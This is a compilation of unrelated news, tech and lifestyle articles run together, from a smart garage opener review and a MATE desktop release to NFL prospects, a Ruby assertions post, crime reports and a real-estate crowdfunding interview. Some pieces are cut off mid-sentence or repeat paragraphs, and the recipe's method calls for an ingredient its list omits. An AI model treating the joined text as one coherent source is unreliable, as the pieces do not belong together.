https://www.garadget.com/my/. Clicking on the garage door icon allows you to open/close your door. The website functions exactly as the apps do. If you have multiple garage doors, they’ll all be listed along the bottom right of your screen. Step 4B – Amazon Echo / Google Home On the forums, one of the users is currently beta testing an Amazon Echo skill. This will allow you to control Garadget directly from your Echo or Echo Dot. Since I’m going through SmartThings for everything, I already have control of the device. It’s not as clean as it can be, but it works and it works well. I simply say “Alexa, turn Left Garage On” to open the door. I then say “Alexa, turn Left Garage Off” to close the door. If the door is already open, on doesn’t do anything. If it’s already closed, off doesn’t do anything. Essentially, Alexa treats it as a switch. I’ve also read that Google Home does the same thing. What’s next? The install was pretty easy for me. I will say that I’m not too thrilled with the Android app, but I love the website and SmartThings integration. I’ll probably access the device through those options before I go for the app. I’m also a little concerned about the laser. I thought it was really cool at first, but as I was pulling into my garage I started wondering where the laser was pointed. Was it going to blind me as I opened the door? I’ve decided to point the laser above my garage door. When my door is closed and on the ground, my Garadget has full line of view of the reflective tape. This makes it think the door is down. When my garage door is up on its tracks, the beam is broken. This makes the Garadget think my door is up. Utilizing this setup, I don’t have to be concerned the laser getting into someone’s eye. So if this thing goes as well as I’m expecting it to go, what’s next for me is to buy a 2nd one and get it installed on my other garage door. Having the ability to remotely operate these doors and check on them while I’m away is awesome. I also really enjoy and appreciate the open source nature of this device. When companies close-source their products, you are at their whim when it comes to updates. Have you ever wondered what would happen if Samsung decided to close up shop? Your SmartThings hub will no longer be as helpful to you. By opening up both the hardware and software to his device, Denis has ensured that his product can live on for a long time. Read next: Best Smart Garage Door Opener Options -Copyright by WDTN - All rights reserved FILE - This booking photo provided by the Hamilton County, Ohio Sheriff shows Deasia Watkins in Cincinnati. A Hamilton County judge on Tuesday, April 28, 2015, found Watkins incompetent for trial on an aggravated murder charge. Watkins, 20, is... Copyright by WDTN - All rights reserved FILE - This booking photo provided by the Hamilton County, Ohio Sheriff shows Deasia Watkins in Cincinnati. A Hamilton County judge on Tuesday, April 28, 2015, found Watkins incompetent for trial on an aggravated murder charge. Watkins, 20, is... CINCINATI, Ohio (WLWT) - A Cincinnati woman accused of decapitating her 3-month-old daughter pleaded guilty Thursday. Twenty-one-year-old Deasia Watkins was sentenced to life in prison and will be eligible for parole after 15 years. Watkins previously pleaded not guilty by reason of insanity in the March 2015 death of Jayniah Watkins. WCPO-TV reported that if the court finds Watkins not guilty by reason of insanity, she'd be under the court's jurisdiction for life without parole. Court records show Watkins was diagnosed with post-partum psychosis and had been prescribed anti-psychotic medicatio -After 11 months of development, MATE 1.8 has been released, bringing various refinements and new features such as support for Metacity as window manager, side-by-side window tiling and more, as well as many bug fixes. Initially, MATE 1.8 was supposed to be based on GTK3, but this was pushed back to MATE 1.10 "because there is still a good deal of work to be done to get it really stable". GTK3 applications still integrate nicely with MATE, just like in the previous 1.6 version, however MATE 1.8 continues to be based on GTK2. For those not familiar with MATE, this is a GNOME2 fork which lets you use the old GNOME 2 desktop interface and applications but it also allows you to use new applications so for instance, you can use Nautilus 3 with it and so on. Also, MATE can be installed in parallel with GNOME 3, something that wasn't possible with the vanilla GNOME 2. "because there is still a good deal of work to be done to get it really stable". GTK3 applications still integrate nicely with MATE, just like in the previous 1.6 version, however MATE 1.8 continues to be based on GTK2. What's new in MATE 1.8 Control Center: added support for Metacity as window manager; Marco (window manager): added side-by-side tiling (windows snapping); Caja (file manager): added option to use IEC units instead of SI units; added “Open parent location” option in context menu in search view; Panel: Added support to run dialog and main menu opening with Metacity keybindings; Screensaver: show date and time in lock dialog; Applets: added undo functionality to sticky note applet; new “command” applet to show the output of a command; rewritten “timer” applet in C; mouse middle click on volume applet toggles mute state; added MATE User Guide; added mpaste tool for paste.mate-desktop.org; Eye Of MATE (image viewer): added shuffle mode in slideshow; more. replaced mate-doc-utils with yelp-tools; replaced libmatekeyring/mate-keyring with libsecret/gnome-keyring; replaced libmatewnck with libwnck; replaced mucharmap with gucharmap; replaced mate-bluetooth with blueman. Here are some MATE 1.8 screenshots (some of the screenshots are taken from mate-desktop.org ): What to expect in MATE 1.10 Like I mentioned above, MATE 1.10 (the release date is not yet known) should switch to GTK3 but there are many other changes expected in MATE 1.10, such as: support for GStreamer 1.0, complete systemd-logind support, Wayland support, add support for AccountsService, as well as some minor but useful features: atril: Support ePub format; caja: Offer a preferences option to turn off generic icons in listview; caja: Improve trash management of removable devices; mate-panel: Allow rotation of mate-panel background; mate-settings-daemon: Add the ability to disable volume/brightness osd. Installing MATE 1.8 via MATE blog Also, some core packages were replaced:For more information, see the MATE roadmap -Bucky Brooks ranks all the college bowl teams based on the quality of their NFL prospects. Ranking the bowl games Because college football apparently needs 35 bowl games, it's a lot easier to pick the best game than to pick the worst. Here's a ranking of each matchup from worst to best. » Must-see bowls for scouts Because college football apparently needs 35 bowl games, it's a lot easier to pick the best game than to pick the worst. Here's a ranking of each matchup from worst to best. More ... 1. Alabama Top prospects: AJ McCarron, QB; C.J. Mosley, LB; Amari Cooper, WR; T.J. Yeldon, RB; Ha Ha Clinton-Dix, S; Adrian Hubbard, DE. Scout's take: Nick Saban has turned Alabama into an NFL farm team with 12 first-round selections in the past three seasons, including six drafted among the top 10. With several former five-star recruits dotting the roster, the Crimson Tide will continue to rate as the top pipeline to the pros. 2. Florida State Top prospects: Jameis Winston, QB; Timmy Jernigan, DT; Lamarcus Joyner, S/CB; Cameron Erving, OT; Christian Jones, LB; Kelvin Benjamin, WR; Telvin Smith; Terrence Brooks, S; Tre' Jackson, OG. Scout's take: The resurgence of the Seminoles is directly tied to the wealth of talent Jimbo Fisher has assembled over the past few seasons. Florida State boasts elite prospects at every position, which makes Tallahassee a must-stop on the scouting road map. 3. LSU Top prospects: Zach Mettenberger, QB; Jeremy Hill, RB; Odell Beckham, Jr., WR; Jarvis Landry, WR; Anthony Johnson, DT; Ego Ferguson, DT. Scout's take: The Tigers have routinely fed the NFL a host of defensive gems, but Les Miles has several offensive skill-position players set to make their mark in a few years. From the terrific receiving tandem of Beckham and Landry to an intriguing quarterback in Anthony Jennings, the Tigers have assembled a lineup that will provide a ton of talent on both sides of the ball. 4. Ohio State Top prospects: Braxton Miller, QB; Ryan Shazier, LB; Carlos Hyde, RB; Bradley Roby, CB; Jack Mewhort, OT. Scout's take: Urban Meyer inherited a talented Buckeyes' roster, but he deserves credit for developing his stars into premier NFL prospects. Roby and Shazier rank among the best at their respective positions, while Hyde and Miller could emerge as early-round candidates. Factor in some young players set to take on bigger roles down the road, and the Buckeyes will continue to rank among college football's top programs. Oregon's uniforms SEE PHOTOS Check out how Oregon's uniforms have evolved through the years. 5. Oregon Top prospects: Marcus Mariota, QB; De'Anthony Thomas, RB; Ifo Ekpre-Olomu, CB; Tony Washington, LB; Taylor Hart, DE. Scout's take: Chip Kelly has moved on to the NFL, but he left behind a roster loaded with NFL talent. The Ducks have a future No. 1 overall pick in Mariota and potential difference maker in Thomas. With Ekpre-Olomu and Washington also held in high regard by NFL executives, it's no coincidence Oregon has been in the national championship race the past few seasons. 6. Clemson Top prospects: Tajh Boyd, QB; Sammy Watkins, WR; Vic Beasley, DE; Corey Crawford, DE; Stephone Anthony, LB. Scout's take: Boyd, Watkins and Beasley are viewed as early-round possibilities around the NFL, but Crawford and Anthony are also on the radar of scouts looking for difference makers. Throw in some of the young, athletic playmakers on the perimeter and the Tigers will certainly have a number of their players make their way to the NFL in the near future. 7. South Carolina Top prospects: Jadeveon Clowney, DE; Mike Davis, RB; A.J. Cann, OG; Kelcy Quarles, DT; Shaq Roland, WR; Bruce Ellington, WR. Scout's take: The front-runner for the top spot in the 2014 draft is Clowney, despite his so-so junior campaign. The 6-foot-6, 270-pound junior would join Melvin Ingram and Stephon Gilmore as recent first-round selections; he will set the stage for a mass exodus of Gamecocks to enter the NFL over the next few seasons. 8. Baylor Top prospects: Cyril Richardson, OG; Bryce Petty, QB; Ahmad Dixon, S; Lache Seastrunk, RB; Tevin Reese, WR. Scout's take: Robert Griffin III is the Bears' highest profile NFL standout, but the program has earned respect in pro circles with the emergence of Kendall Wright and Josh Gordon as potential stars. The program's burgeoning reputation will be enhanced with Richardson, Dixon and Seastrunk poised to set the league on fire when they arrive next season. 9. Stanford Top prospects: Kevin Hogan, QB; Shayne Skov, LB; Trent Murphy, OLB; David Yankey, OG; Ed Reynolds, S; Ty Montgomery, WR Scout's take: David Shaw has not only built the Cardinal program on toughness and physicality, he has upgraded the talent on the roster. Stanford has a lineup full of NFL-caliber players on both sides of the ball, which is why at least three Cardinal players have been selected in every draft since 2010. 10. Texas A&M Top prospects: Johnny Manziel, QB; Jake Matthews, OT; Mike Evans, WR; Cedric Ogbuehi, OT Scout's take: The Aggies could have three first-round picks in the 2014 draft, but the roster is loaded with potential difference makers at the skill positions. From Ricky Seals-Jones to De'Vante Harris, Texas A&M's young talent is impressive. Follow Bucky Brooks on Twitter @BuckyBrooks. -Anti-Islam blogs claim that photograph taken in Westminster is evidence for Muslims’ indifference to suffering The photographer whose picture of a woman walking past a victim of the Westminster terrorist attack was claimed by anti-Islam blogs as evidence for the faith’s indifference to suffering has defended her and said the image was “misappropriated”. The picture, showing a woman wearing a hijab and looking at her phone on Westminster Bridge as people gathered around an injured person, was held up by some on social media as evidence of her lack of concern. It was widely republished and commented on. Facebook Twitter Pinterest The image that was shared on social media showing the woman looking at her phone. Photograph: Jamie Lorriman Jamie Lorriman, who took the photo and is based in London, told Australia’s ABC the series of images he took showed the woman’s distress. “The people who took on that picture are being rather selective,” he said. “In the other picture in the sequence she looks truly distraught ... personally I think she looks distressed in both pictures. “It’s wrong it’s been misappropriated in that way.” London attack: police investigate terrorist Khalid Masood as death toll rises – live Read more Before Lorriman’s response, Tim Young, who calls himself a political comedian, tweeted from the US: Tim Young (@TimRunsHisMouth) pic.twitter.com/Xnq7ytJf93 This photo taken by UK parliament today after the London terrorist attack could end up being one of the most iconic of our time #westminster March 22, 2017 He also condemned a man for appearing to take a selfie at the scene. tweet of the image by a Trump supporter with the comment, “Muslim woman pays no mind to the terror attack, casually walks by a dying man while checking phone” drew nearly 2,000 retweets. He later tweeted it again alongside a photo of the Conservative MP Tobias Ellwood performing CPR on a victim with the caption “the main difference between Muslims and Christians”. His tweets, and others making the same comparison, were met with a variety of responses, ranging from scathing to supportive. Defending the woman, some users shared images of the scene on Westminster Bridge that showed other passers-by appearing unconcerned. Zane Asmiri (@ZaneTheSane) If anyone posts that pic of the Muslim woman walking by this scene in #London , reply with this pic showing a man doing the same. https://t.co/9sWFqSND8v March 22, 2017 Many people argued that she was likely to have been in shock and phoning family or friends. Amy Ashenden (@AmyAshenden) Some disgusting hateful memes spreading re #Westminster of a young woman in hijab most likely in deep shock & calling family/friends. V sad March 22, 2017 Rajwinder (@Rajeh1980) #WeStandTogether People tweeting the photo of the lady in the hijab walking past share the same form of hate as the killer #Westminster March 23, 2017 Lorriman, who had been taking photographs of parliament at the time of the attack, told The Guardian he felt the pictures clearly showed the woman in distress. “Looking back at the pictures now she looks visibly distraught in both pictures in my opinion,” he said. “She’s in the middle of an unfolding horrific scene... I think her expression to me says that she’s horrified by what she’s seen and she just needs to get out of the situation. “We were all being told to clear the bridge at various stages, so it’s not unreasonable to think she’d been told to leave the bridge at some point just like everybody else.” Lorriman said he felt the stronger reaction to the photograph had been from people coming to the woman’s defence. “People going, ‘you weren’t there, you didn’t see it, you’ve no idea what that woman’s thinking, so how can you possibly assume that she’s just casually on her phone?’” “It’s good to see that that seems to be the overwhelming response to the messages that are being put out there by certain people.” He told the ABC it was “impossible to know” what was going through the woman’s mind. “The look on the woman’s face, she’s horrified, she’s in the middle of a traumatic situation. She probably just wanted to get off the bridge. “I feel so sorry for the woman in the picture. If she’s seen this, she must feel awful.” -Image copyright AFP Image caption Both sides accuse each other of breaching a ceasefire Russia and Angola have opposed moves at the UN Security Council to impose sanctions on a South Sudan general and a rebel commander, diplomats say. The US had proposed a travel ban and asset freeze on army chief Paul Malong and rebel general Johnson Olony for continuing to fuel conflict. The Russian ambassador to the UN said sanctions might aggravate the situation, AP news agency reports. Fighting has continued in South Sudan despite last month's peace deal. Both sides signed the agreement to end the 20 months of conflict under intense regional and international pressure. The fighting between forces loyal to President Salva Kiir and his former deputy Riek Machar has forced more than 2.2 million people from their homes in the world's youngest state, which broke away from Sudan in 2011. At least seven ceasefires have been agreed and then shattered - and US diplomats want to maintain the pressure to ensure the most recent deal succeeds. Russia's UN ambassador Vitaly Churkin said he felt sanctions were not the solution after his country's talks with the foreign ministers of South Sudan and Sudan. "The United States, very often they just say: 'Sanctions, sanctions, sanctions', and in some cases it severely aggravates the situation," AP quotes him as saying. Image copyright AFP Image caption More than 2.2 million people have been driven from their homes since December 2013 According to the Reuters news agency, Venezuela also requested that the sanctions proposal be put on hold. A hold does not mean the proposal is dead, but it delays its consideration, the agency reports. Angola wanted to give the parties more time to implement the peace deal, it said. Fighting broke out in South Sudan in December 2013 after President Kiir accused former Vice-President Machar of plotting a coup. Mr Machar denied the charges, but then mobilised a rebel force to fight the government. On Tuesday, President Kiir reiterated his reservations about the deal in a televised national address as both sides accuse the other of breaching the ceasefire. He again listed points such as the demilitarisation of the capital, Juba, and the appointment of a foreigner to monitor the agreement as "a violation of sovereignty". However, he did express his commitment to the agreement. -A King County Superior Court judge ruled on Monday that Initiative 27, which would prohibit funding and operation of safe injection sites, is invalid and cannot be on the ballot. Judge Veronica Alicea Galvan cited Washington state law, which says local legislative bodies have the authority to determine budgets, and I-27 “impinges” on legislative authority of the county. “I-27 in its entirety extends beyond the scope of the local initiative power,” Galvan wrote in the ruling. Galvan also wrote that state law gives governing officials decision-making authority on public health measures, and I-27 interferes with the health board and County Council’s duties and obligations. However, Galvan wrote that the court was not issuing an opinion on whether the injection site proposal should be implemented. On the same day, Bellevue city council members voted unanimously to ban safe injection sites permanently after implementing a temporary ban in August. Mayor John Stokes admitted it is unlikely a safe injection site will come to Bellevue, "but that's not good enough," he said. Member Kevin Wallace even called for the state legislature to intervene "before the county does any more damage." Other cities including Renton, Kent, Auburn and Federal Way have voted on similar bans. The King County Board of Health approved a recommendation in January for two safe injection sites, which would allow people to consume drugs under medication supervision. Critics say the proposal would enable drug users. Copyright 2017 KING -These are crazy addicting once you start you can not stop eating them. First you toast your nuts, caramelize them, then cover with milk chocolate and a layer of cocoa powder and confectioners sugar and that’s a hazelnut dragee. Delicious! Recipe for Hazelnut Dragees Ingredients: 190g hazelnuts, toasted 50g granulated sugar 20g unsalted butter 10g water 15g extra granulated sugar 225g milk chocolate 1/2 c.cocoa powder 1/2 c confectioners’ sugar And let’s get cooking: 1.)Toast the nuts: Toast the hazelnuts in a 350F oven until lightly toasted. Keep warm in the oven. Combine the sugar, water, and corn syrup in a small saucepan. Cook the sugar syrup to 234F/115C. 2.)Add the toasted nuts and continue cooking until the sugar has crystallized then caramelized to a light golden color. 3.)Pour out onto a silpat or parchment. Sprinkle with granulated sugar and break apart into individual pieces. Cool completely. 4.)Put the nuts in a large bowl and place into the refrigerator.Add some milk chocolate and stir vigorously until the milk chocolate has set. 5.)Continue until the nuts have about 1/8″ coating of milk chocolate.Sprinkle with cocoa powder/confectioners’ sugar. Shake off the excess cocoa powder. **You can do this almost with any kind of nut. For example when I use almonds I use dark chocolate and confectioners’ sugar** You want more try watching this video on how I make Hazelnut Dragees -Trust, but verify Self-confident code does not ask questions about the data given to it. It enforces validity, asserts that its expectations are met, or ignores data which isn’t up to its standards. Previously we’ve looked at some methods for enforcement, using fetch() and Array(). Today I want to talk about the second tactic, assertions. Assertions and contracts get comparatively little attention in the Ruby world. I’m not sure why that is. Some might say that pervasive unit-testing has rendered contract-checking redundant or less important than it is in less test-infected programming communities. Or even that TDD and assertions represent opposing philosophies of how to address correctness in software. I disagree; I think that the two techniques are complementary. The pragmatic essence of code assertions is the idea of failing fast. Most violations of a contract will eventually result in an error; the question is, how far away from the original contract violation will the exception be raised? And will the expectation which wasn’t satisfied be clearly marked? The advantages of assertions are more than theoretical. Studies of software projects have shown that projects which employ assertions tend to have fewer defects. Assertions need not use an elaborate Design by Contract framework (although such libraries do exist for Ruby). They don’t even have to use the word “assert”. Here’s an idiom I like to use in methods which receive an “options” hash: def initialize(options={}) @color = options.delete(:color) { "chartreuse" } @flavor = options.delete(:flavor) { "bacony" } @texture = options.delete(:texture) { "squamous"} raise "Unknown options #{options.keys.join(', ')}" if !options.empty? end 1 2 3 4 5 6 def initialize ( options = { } ) @color = options . delete ( : color ) { "chartreuse" } @flavor = options . delete ( : flavor ) { "bacony" } @texture = options . delete ( : texture ) { "squamous" } raise "Unknown options #{options.keys.join(', ')}" if ! options . empty ? end The last line of the method guards against the not-uncommon scenario of a misspelled option key. It’s an assertion even though there’s no assert() in sight. Ruby does not come with its own assert() method, but implementing one of your own is a trivial exercise: def assert(condition, message = "Assertion failed") raise Exception, message unless condition end 1 2 3 def assert ( condition , message = "Assertion failed" ) raise Exception , message unless condition end The only thing notable about this code is that we raise Exception explicitly, rather than some derivative of it such as RuntimeError . Assertion violations are by definition indicative of an error in the code, which means we should give the program little opportunity to rescue the exception and continue. By raising Exception, we ensure the error will bypass default rescue clauses. begin assert("black" == "white", "Zebra attack!") rescue nil end # raises "Zebra attack!" despite the rescue 1 2 3 4 begin assert ( "black" == "white" , "Zebra attack!" ) rescue nil end # raises "Zebra attack!" despite the rescue It’s possible to go overboard with assertions. Specifying every nitpicky detail about your inputs can lead to brittle, hard-to-test code and violates the spirit of dynamic typing. But used judiciously they can help to document expectations, keep yourself and your API consumers honest, and reduce time spent debugging errors. Some guidelines for using assertions effectively: Assert at module boundaries. Don’t pepper every internal method with assertions. Instead, use them as gatekeepers between modules. Especially use them where your code interacts with a third-party API to document and validate your beliefs about how that API works. This can greatly help your learning process as you get the hang of an unfamiliar library, as well as alerting you to changes introduced by new versions of the third-party code. Only use assertions where coercion/enforcement is not an option. If it is possible to coerce a value into what you need, or to provide a sensible default for a missing value, prefer those approaches to making assertions. Don’t assert exact types. Idiomatic Ruby doesn’t care about an object’s class; only that it supports the needed protocol (methods). Prefer value comparisons to respond_to?() checks, respond_to?() checks to kind_of?() , and kind_of?() to instance_of?() . assert(s.instance_of?(String)) # bad assert(s.kind_of?(String)) # better assert(s.respond_to?(:downcase)) # better assert(s =~ /[[:alnum]]{6,20}/) # best 1 2 3 4 assert ( s . instance_of ? ( String ) ) # bad assert ( s . kind_of ? ( String ) ) # better assert ( s . respond_to ? ( : downcase ) ) # better assert ( s = ~ / [ [ : alnum ] ] { 6 , 20 } / ) # best Finally, if you like the idea of using more assertions in your code, you might be interested in FailFast, a gem I wrote which provides a number convenience methods for concise assertion checking. -A man was arrested Wednesday morning after openly masturbating in front of a Southeast Portland elementary school, police said. Brandon Kwok Lee Brandon Kwok Lee, 25, was arrested on suspicion of public indecency, Portland police said in a news release. Police said witnesses saw him masturbating in front of Parklane Elementary School and that when people confronted him, he turned toward them and kept fondling himself. Officers responded to the school around 7 a.m. Children weren't around because classes start at 8:50 a.m. on Wednesdays. Police said officers found an unloaded gun in Lee's car. They took the gun "as evidence pending further investigation," police said. He was jailed and released on his own recognizance Wednesday, according to Multnomah County jail records. Police said he's set to be arraigned Thursday. — Jim Ryan jryan@oregonian.com 503-221-8005; @Jimryan015 -Syria polio (cVDPV2) outbreak rises to 27 cases In a follow-up on the circulating vaccine-derived poliovirus type-2 (cVDPV2) outbreak in Syria, UN health officials report four additional cases this week, bringing the total to 27. Mayadeen district in Deir Ez-Zor governorate has seen 26 confirmed cases while 1 case has been confirmed from Tell Abyad district, Raqqa governorate. Monovalent type-2 oral polio vaccine (mOPV2) reached Deir Ez-Zor on 12 July. Vaccines for Raqqa are scheduled for transport this week, by air to Qamishli, then by road to Tell Abyad and Tabqa (Thawra). Immunization rounds for both Deir Ez-Zor and Raqqa governorates are expected to commence 22 July. Two immunization rounds are planned for July and August targeting children <5 years of age in Deir Ez-Zor and Raqqa governorates. The southern part of Shadadi district in Hasakah governorate is also included and will be covered by Deir Ez-Zor teams. First round-Deir Ez-Zor Vaccine: mOPV2, total target: 328,000 (196,000 resident children and 110,000 refugee and IDP children in Deir Ez-Zor governorate, and 22,000 children in Shadadi). A total of 355 vaccination teams and 61 supervisors are on standby for this activity. Campaign strategy is house to house in the affected villages and fixed posts in other areas. There are 5 vaccine distribution centers with adequate cold chain in Boukamal, Hajien, Husienieh, Mayadeen, and Sor. First round—Raqqa Vaccine: shipping of mOPV2 from Damascus scheduled for this week, total target: 120,000 (109,500 resident children and 10,500 IDP children. 100 locally selected vaccination teams and 21 team supervisors will implement the campaign. There are 2 vaccine distribution centers with adequate cold chain in Tell Abyad hospital and Tabqa health center. Related: -As crowdfunding becomes more accepted, it’s moving into new areas. One with a lot of promise: commercial real estate, where deals under $10 million are not worth the efforts of big investors, says Dan Miller, co-founder of Fundrise. These large investors do not want to have a lot of “$1 million investments, they won’t be able to manage it.” That has left an opening for crowdfunding firms like his. In this Knowledge@Wharton interview, Miller explains how his firm has exploited it. An edited of the conversation transcript follows: Knowledge@Wharton: We’re joined today by Dan Miller, co-founder and president of Fundrise, a crowdsourcing company in the real estate sector. This is a fairly new idea. Tell us how it works and how you got involved? Dan Miller: My brother and I launched Fundrise in 2010.… Initially, we built the platform to fund our own real estate transactions, so we were buying and developing properties in Washington, D.C., creating the platform to let anybody invest with us in a single deal for as little as $100. This is the first crowdfunded transaction, and now we fund other real estate companies — so we scaled from doing our own projects to now projects all over the country. Knowledge@Wharton: When people hear that number, $100, they’re probably thinking a very small scale. But it’s not necessarily small scale. Tell us what size the projects are, and are they residential, commercial? Miller: It’s mostly commercial projects in urban areas under $30 million — a little below institutional scale. We’re normally providing about $2 million to $5 million per deal. Three years ago, that was $300,000, last year it was … $600,000, $700,000. So it’s growing very quickly. Crowdfunding allows people to distribute investments online, take a lot of very small investors and pool those together into a larger check. So just because there’s small minimums doesn’t mean the sum doesn’t add up to a large amount. Knowledge@Wharton: You have people, you put a project on your website and you say, “We want to buy and develop this building, would you like to invest?” And you can invest any amount you want? You get investors up to $1 million? What is the average? Miller: About $10,000. We source deals, we underwrite deals. We have offices around the country. So that process is like traditional real estate sourcing and underwriting. You have people work the markets. They meet real estate developers. They discuss our platform and then we put the deals together. The innovative part is putting it on the site and allowing anybody to be part of the investment. Knowledge@Wharton: And the investor, what is it that they get out of it? What kind of return? Why would they want to do that rather than some other kind of deal? Miller: Well, the real value is that you have technology cutting out middlemen Twitter , that we’re direct between the investor and the real estate company, as opposed to having private equity funds or other groups in the middle. And so that way, you’ll be able to have double-digit returns for investors, which is still the cheaper cost of capital for real estate companies. Generally, we’re doing preferred equity investment, so junior to bank debt in the deal, but senior to equity in the deal. It’s a kind of high term or high fixed yield, relatively short term during the transition or development of the real estate asset. Knowledge@Wharton: If someone didn’t know your company, how would they know that their money was secure? Miller: They watch and see. That’s what we’ve seen on consumer behavior. People sign up for the site — they rarely invest in the first 120 days. They sign on regularly. They look at deals. They check them out. They see that we’re raising the funds, that they closed, and then they invest $5,000, and then they start getting distributions on that deal, and then they might invest $10,000 and $25,000. “The real value is that you have technology cutting out middlemen, that we’re direct between investor and the real estate company, as opposed to having private equity funds or other groups in the middle.” So we’ve really seen that type of consumer behavior happen, which I think is similar to what e-commerce was — the first time you bought something online, you weren’t sure if it was safe to put your credit card [number] in. You didn’t know when the box was going to arrive. And now it’s instantaneous — same-day delivery. I see similar consumer behavior patterns because you’re serving them a product they’ve never invested in before through a mechanism online that they haven’t [used] for that many different types of investments. Knowledge@Wharton: Interestingly, you have a niche here when it comes to the size of projects. You’re not investing in or developing $200 million office towers. You’re investing in a certain size of project, which those with large amounts to invest tend to not be interested in so much. Explain how that dynamic works? Miller: That’s where we begin. With institutional investors, they’ll rarely write a check of less than $10 million of equity, and that’s not because the deal doesn’t make sense if it’s smaller. It’s because they have a multibillion dollar fund. They can put it out in so many increments. If they have a lot of $1 million investments, they won’t be able to manage it. And so it creates this artificial barrier where the small enterprise, the mid-sized real estate operator, who’s established, who has a real track record, if they bring a deal that’s $15 million to $20 million of value, it’s very hard for them to get that financed. We plug [in] what technology tends to be efficient in the mid-market space for real estate operators, and provide them capital to deals that are often ignored by institutional investors. Knowledge@Wharton: What kinds of projects have you completed so far? Miller: We’ve done projects in 15 different markets. The highest profile was we raised $5 million for Three World Trade Center. We sold $5 million of the senior bond, the senior construction loan on that deal. We’ve done about half of our business between Washington, D.C. and New York, and just launched offices in Los Angeles and San Francisco. Most of our deals are between $5 million to $25 million in size. Again, we’re funding another real estate company. They come to us. We’re funding a portion of that deal. And most of them are urban areas in transition. So buying apartment buildings, upgrading the units, then selling or refinancing. There are lots of different types of projects, but always in some development or transition. Knowledge@Wharton: In addition to finding investors through the use of technology … and finding people who wouldn’t have been able to invest this way before, you mentioned earlier cutting out the middleman — cutting costs quite a bit. Could you explain how that cost cutting works? How much of the costs do you cut out? I assume that’s a big part of the business model. Miller: And that’s the real value that we’re able to deliver: cheaper capital to the real estate operator and better investments to the real estate investors. Ultimately, if that’s not the value proposition, then there is no business here. And our comparison is often to a private equity fund. We charge 0.5% per year to the investor for asset management and to service the investments. A private equity fund only charges a 2% a year management fee and 20% of the upside over a preferred return. We kind of use a mock sample deal, a three-year investment, 12% annual return. We charge 1.5% over those three years. A typical private equity fund will charge 8.4% over those three years. So there’s really a huge spread that then gets split between the real estate company and the investor. Knowledge@Wharton: So we hear a lot about disruptive technologies. And you’re just talking about disrupting private equity in the real estate space. Do you think that that’s a scalable model, at least at the level of project that you’re talking about, which is under $30 million. “The business model is called ‘marketplace lending….’ You have borrowers, you have investors. You connect the two. You also use your own capital to guarantee the funding so that … you make the two stick together.” Miller: It’s going to change. What you’ve seen in other businesses, when you look at digital media, blogs, Twitter, Facebook — they started out relatively small and then became large and institutional. I think the most efficient place to start is the ignored portion of the market that institutions have difficulty serving because of their scale. But I think it really will shift. It’s about creating efficiency for private commercial real estate transactions.… It’s a huge market. But you have a deal, you make some phone calls, you try to raise some funding. There’s not an efficient way to put the deal together…. [Our] platform standardizes it. I think it’s going to bring efficiency to all parts of the market. It’s just going to take time to go to different sectors. Knowledge@Wharton: So it’s a little bit like an Airbnb, or an Uber, where you’re the conduit that’s connecting the person with the need with the person who can fulfill that need. Miller: Right. Knowledge@Wharton: And that’s creating less overhead and that sort of thing. Is that the idea? Miller: Right. The business model is called “marketplace lending” at this point. Lending clubs invest…. You have borrowers, you have investors. You connect the two. You also use your own capital to guarantee the funding so that you … make the two stick together. And by creating that standardization you have efficiency on both sides. What we’ve seen is, with the decentralized model, it can operate much more efficiently at much cheaper cost. It doesn’t have all the centralized infrastructure that big [bank] branches have with big offices and corporate overhead. I think as you see crowdfunding get larger, and the sums of capital are bigger, I think you’re going to see it challenge the existing banking infrastructure, which is very centralized with a lot of overhead and additional costs. Knowledge@Wharton: But it’s not just bank infrastructure. It’s not just bank buildings. It’s also the cost of going out and finding investors, which I guess is labor-intensive and involves a lot of meetings, and lunches and hand holding. You’re basically saying that is not necessarily anymore, at least in projects of this size. Miller: Yes. We think of ourselves like an outsourced capital markets division for a lot of these firms. Mid-sized real estate operators don’t have a full-time person on the capital markets desk, and we’re arranging financing, we’re giving them a sense of what their quotes for different capital is going to be. We’re giving them a connection to the investors, but we’re handling the investor relations, the distributions and the tax documents. So it’s very much centralized in that role, letting the real estate developer focus on their job: sourcing deals, developing deals, while we manage the entire capital-raising infrastructure. Knowledge@Wharton: You’re cutting out the middle man. What percentage of fees and costs are you cutting out? Miller: Generally, somebody who syndicates equity will charge 3% to 5%, minimum, potentially higher for them to corral and raise the capital. Private equity funds will charge 2% to 20%. So you have, on the investor side at least, a 5% to 10% fee that the investor indirectly or directly pays. Private REITS [real estate investment trusts] are another market that’s similar for private real estate transactions. That’s a 15% up-front fee when you enter the investment. So you’re talking about pretty huge fees that we think technology is going to [help bring down]. Knowledge@Wharton: And your company’s fee would be what? Miller: Just 0.5% per year. And then we charge — to borrow — 1.5% at closing. So, for the borrower, it’s cheaper capital, for the investors it’s more access to investments and it also opens up a new part of the market. Traditionally with a real estate syndication, you’re limiting it to people investing $100,000 or more, and so you’re talking about a huge unmet part of the market that hasn’t been able to invest in single real estate transactions [because of such high minimums]. Knowledge@Wharton: There’s something else about this also, about the kinds of projects that you do, where the people that invest often have some connection to it. Maybe it’s in their neighborhood, or maybe they know somebody that’s involved in that building somehow. Miller: That’s where we began. We were developing urban projects leasing to chefs and restauranteurs that people knew locally, or converting old historic buildings that people were very excited about. We always had people come and talk to us about “what are you doing and why — what are these projects looking like and how are they coming out?” “As you see crowdfunding get larger, and the sums of capital be bigger … you’re going to see it challenge the existing banking infrastructure, which is very centralized with a lot of overhead and additional costs.” We thought, why don’t we go out to those investors, let them invest in it? They might own a home in the neighborhood. They’ve already understood the real estate. They have a lot of other data around it that makes them excited to invest [for reasons] that might not be purely financial, but that doesn’t mean it’s wrong. We just did our first project in Detroit. We’re going to raise capital for the old Tigers Stadium redevelopment. And in the same way, it’s an old baseball stadium, everyone in Detroit’s been to it, they want to be part of revitalizing that area and bringing it back. I think you’re seeing what we’re able to do is because you’re selling these investments to retail investors. They’re buying a product that has more texture as opposed to just a 16% ROI. There are other components that they’re able to evaluate. Knowledge@Wharton: How big of a project is that and what percentage of that amount will you be able to help raise? Miller: That project’s about $30 million. And it’s going to be about 20% equity. We’ll raise between one half million to $1 million. And we now fund with our own balance sheets, so we guarantee the funds at closing with our own cash and then put it up on the site. So for the real estate company, they’re not taking the risk of raising the money online. That’s been one of the big things that’s shifted, that we centralized the asset management, we centralize the investor reporting, and we make sure that the funds are there at the appropriate time. Knowledge@Wharton: Is this the part of commercial real estate development that’s going to be changing big time in your estimation? What parts will remain the same? Miller: Yes — deal sourcing, we’ve seen most of our deals come offline with our regional offices, people being in market, knowing the neighborhoods, meeting the developers in person. 